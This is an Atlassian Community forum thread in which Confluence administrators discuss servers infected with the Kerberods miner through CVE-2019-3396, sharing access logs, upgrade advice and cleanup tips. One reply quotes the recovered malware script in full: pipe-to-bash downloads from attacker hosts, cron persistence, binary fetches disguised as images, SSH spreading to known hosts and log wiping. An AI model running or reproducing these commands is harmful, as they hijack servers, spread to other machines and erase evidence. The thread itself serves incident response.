It's not the same without you

Join the community to find out what other Atlassian users are discussing, debating and creating.

Atlassian Community Hero Image Collage

How come my confluence installation was hacked by Kerberods malware?

Our Confluence v6.9.1 install was hacked, relevant nginx logs below. The Kerberods malware was installed and running under the confluence user account. It installs a cron to re-download itself every 10 minutes.

We have updated to the latest point release  but I am unsure if the used bug is fixed.
 More information can be provided, I just don't know what would be helpful so please let me know.

185.193.125.146 - - [10/Apr/2019:12:13:14 +0200] "GET / HTTP/1.1" 302 0 "-" "python-requests/2.21.0"
185.193.125.146 - - [10/Apr/2019:12:13:15 +0200] "GET /login.action?os_destination=%2Findex.action&permissionViolation=true HTTP/1.1" 200 6753 "-" "python-requests/2.21.0"
185.193.125.146 - - [10/Apr/2019:12:13:16 +0200] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3970 "https://confluence.entdec.com/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [10/Apr/2019:12:13:18 +0200] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3970 "https://confluence.entdec.com/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [10/Apr/2019:12:14:06 +0200] "GET / HTTP/1.1" 302 0 "-" "python-requests/2.21.0"
185.193.125.146 - - [10/Apr/2019:12:14:06 +0200] "GET /login.action?os_destination=%2Findex.action&permissionViolation=true HTTP/1.1" 200 6755 "-" "python-requests/2.21.0"
185.193.125.146 - - [10/Apr/2019:12:14:07 +0200] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3971 "https://confluence.entdec.com/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [10/Apr/2019:12:14:09 +0200] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3970 "https://confluence.entdec.com/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"

 

6 answers

1 accepted

5 votes
Answer accepted
Daniel Eads Atlassian Team Apr 11, 2019

Hey Andre,

What you've described is an active exploit that attacks the CVE-2019-3396 Widget Connector vulnerability from March 20th (see Confluence Security Advisory - 2019-03-20).

You mentioned upgrading to the latest point release, but I just want to be very explicit about what latest versions are mitigated. The last 6.9.x release was not a version that contained a fix. The latest releases are:

So first, knowing what version you upgraded to would be helpful (or double-check against the list).

Secondly, the LSD malware cleanup tool will be useful for removing Kerberods. It sounds like you have detection under control for Kerberods. I would recommend executing cleanup after upgrading Confluence to a patched version so there's no possibility of re-infection while you work on the upgrade.

Please let me know if you have more questions!

Cheers,
Daniel | Atlassian Support

Hi Daniel,


We've upgraded to 6.15.2 so we should be ok now. Thank you for the confirmation and the link to the CVE.

I'll check the LSD cleanup tool but I believe we've effectively removed the infection.

 

Thanks again!

Andre

Like 1 person likes this
Daniel Eads Atlassian Team Apr 11, 2019

As a follow-up, we're compiling some information on scanners that picked up the Kerberods package. If you feel comfortable sharing what detected this for you, that'd be helpful info for us. Thank you!

Like 1 person likes this

To be honest none of our scanners caught this, even after specifically updating clamav.

We detected a portscan initiated from the host which triggered an investigation. This particular malware has a dead giveaway which is a process taking all cpu, in our case 'kerberods' which sounds like a thing (kerebos), but really isn't.

Hope this helps someone.

For details on the package itself check xmxHzu5P on pastebin.

I caught this on my server when the CPU usage spiked. Upon getting access to the box I examined the history which listed commands as.

(curl -fsSL http://166.62.38.167/plus/cx.2 ||wget -q -O- http://166.62.38.167/plus/cx.2 ||python -c 'import urllib2 as fbi;import urllib2;proxy = urllib2.ProxyHandler({});opener = urllib2.build_opener(proxy);urllib2.install_opener(opener);print fbi.urlopen("http://166.62.38.167/plus/cx.2").read()') | /bin/bash

This in turn led me to following a bunch of paste bin links that in turn would link to more curl commands until I hit this script : https://pastebin.com/raw/Zk7Jv9j2

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

mkdir -p /tmp
chmod 1777 /tmp

echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh" | crontab -

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "plfsbce"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "luyybce"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9
netstat -anp|grep 119.9.106.27|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9
netstat -anp|grep 104.130.210.206|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
if [ ! -f "/tmp/.XIMunix" ] || [ ! -f "/proc/$(cat /tmp/.XIMunix)/io" ]; then
    chattr -i kerberods
    rm -rf kerberods
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555396475x2918527158.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555396475x2918527158.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -O kerberods) && chmod +x kerberods
    elif [ ${ARCH}x = "i686x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods
    else
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods
    fi
        $(pwd)/kerberods || /usr/bin/kerberods || /usr/libexec/kerberods || /usr/local/bin/kerberods || kerberods || ./kerberods || /tmp/kerberods
fi

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh >/dev/null 2>&1 &' & done
fi

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

Looking at the contents I found the various kerberods executable files and cleaned up after itself. Minimal damage looks like but heavy on the CPU noise.

tony diller I'm New Here yesterday

Had this happen to me as well. I think I got all the kerbords files but I found that there was a crontab file created that ran this. I remove it and it gets put back in place as if there is another cron job that runs to make sure it is in place. for now I have cron turned off.  Any ideas?

We were also affected by this kerberods malware.

 

How I got rid of it:

which kerberods

and then

rm /usr/sbin/kerberods

 

as well as cleaning up the created cron job 

A couple of things:

  1. I had a lengthy conversation with Atlassian support regarding  CVE-2019-3396 Widget Connector vulnerability and was told that if there are no public pages (i.e., all access requires auth) then one is not exposed. However, the hack still works and one should upgrade. Anyway, this is a miscommunication by Atlassian.
  2. Now, if access to any pages does require auth, how does this possibly happen? It seems that some endpoints do not require auth. For instance, try this on with your browser when you're not logged in and using an unpatched Confluence (may even happen with a patched Confluence):

        /pages/resumedraft.action

    The result is a 403 page but it has UI elements (site search), but worse,our organization icon is exposed. This is a security gaffe. Sure this should be a 403 and not a 404. Not authorized? --> you get nothing.

Studying our logs, it also seems that some HTTP POSTs did not require auth.

Daniel Eads Atlassian Team Wednesday

Hey John,

Thanks for raising these concerns. I do see an existing suggestion on jira.atlassian.com about changing the status codes on some returns: CONFSERVER-55343 - feel free to add a comment to the ticket with the additional context here since it's not a 1:1 match with what you've brought up.

For most customers, getting a UI-rendered error page is something more user-friendly than simply returning a raw 403/404. I would note that the base URL / login pages for Confluence also render the header and custom logo if you've uploaded one. If exposing your organization's logo is a concern, I would recommend going down the route of putting your Confluence server behind a firewall so you must be on a VPN to get access externally.

Cheers,
Daniel | Atlassian Support

I'll add a note to https://jira.atlassian.com/browse/CONFSERVER-55343?_ga=2.8839228.800296403.1555421190-1414102218.1548940346

As to revealing a logo: For a forbidden resource, putting a site behind a firewall or VPN is complete non-starter. If there is a resource on the Internet and it returns a 403, there should absolutely be no reveal at all about the resource being accessed. That is plain and simple Security 101: Don't give the attacker more information.

For a 404: That could reveal a logo.

Hi guys,

I found the attacker also wrote the ssh key to the folder `/home/confluence/.ssh/authorized_keys`, so they can ssh to your system. Please review and remove the unknown key.

In my system, the key looks like:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZnO+F/CKFgcs1jRmWcN1bzitmSrUuvKS6OM79ywuoETUVXnp1IFxfwMlc1Ewlkd5hVPk0bE6/mX4hH2wYmO2w/TKkyKD50/v3J/rcAcsrQ3uu9opXpjFtXxm4GuXT0tt1ITf5kwevh0Xj1oqiV/2pXn9mm6uTfXafvCRM+3nWj74U0Gh+U4gyc2n3dVqgZHOZWhV6fFp5MJ9HM1bTTsREbVbvIjG2B0msAQxqRTuaLpARF3YbSu3yL7PDXjLnil5s7GihHTZlngqlu9BrvwT6LuJ0v18pdaNiSTtmw8tY+XMIuQ4H8ZuwLuBzk9XW17LVGfjrz8i5pmvruSgHX7xv FBI@USA.GOV

 

Hope that help.

Suggest an answer

Log in or Sign up to answer
This widget could not be displayed.
This widget could not be displayed.
Community showcase
Published Thursday in Confluence

Confluence CVEs and common questions

Two vulnerabilities have been published for Confluence Server and Data Center recently: March 20, 2019 CVE-2019-3395 / CVE-2019-3396 April 17, 2019 CVE-2019-3398 The goal of this article is...

92 views 0 10
Read article

Atlassian User Groups

Connect with like-minded Atlassian users at free events near you!

Find a group

Connect with like-minded Atlassian users at free events near you!

Find my local user group

Unfortunately there are no AUG chapters near you at the moment.

Start an AUG

You're one step closer to meeting fellow Atlassian users at your local meet up. Learn more about AUGs

Groups near you